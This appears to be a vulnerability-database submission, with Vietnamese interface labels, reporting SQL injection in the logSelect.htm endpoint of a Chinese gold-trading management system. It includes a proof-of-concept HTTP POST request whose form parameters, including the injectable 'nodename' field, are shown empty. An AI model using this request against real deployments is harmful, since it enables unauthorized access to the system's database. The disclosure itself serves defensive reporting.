| tiêu đề | 新晨科技股份有限公司 黄金通二级系统三代管理端系统 V3.1 SQL Injection |
|---|
| Mô tả | https://github.com/William-xin/CVEs/issues/1
POC:
POST /sysframework/logSelect.htm HTTP/1.1
Host: x.x.x.x:8900
Cookie: JSESSIONID_null_8900=1nk238amgulwsuflzjdc49way
Content-Length: 90
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: /
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Content-Type: application/x-www-form-urlencoded;utf-8
Sec-Ch-Ua-Mobile: ?0
Origin: https://x.x.x.x:8900
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://x.x.x.x:8900/sysframework/operLog.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: close
page=1&branchtype=01&dateStart=2025-06-25&dateEnd=2025-06-25&nodename=&operuserCode=&cont=
|
|---|
| Nguồn | ⚠️ https://github.com/William-xin/CVEs/issues/1 |
|---|
| Người dùng | Starwung (UID 72280) |
|---|
| Đệ trình | 26/06/2025 05:00 (cách đây 1 Năm) |
|---|
| Kiểm duyệt | 05/07/2025 19:42 (10 days later) |
|---|
| Trạng thái | Bản sao |
|---|
| Mục VulDB | 311214 [Brilliance Golden Link Secondary System đến 20250424 logSelect.htm nodename Tiêm SQL] |
|---|
| điểm | 0 |
|---|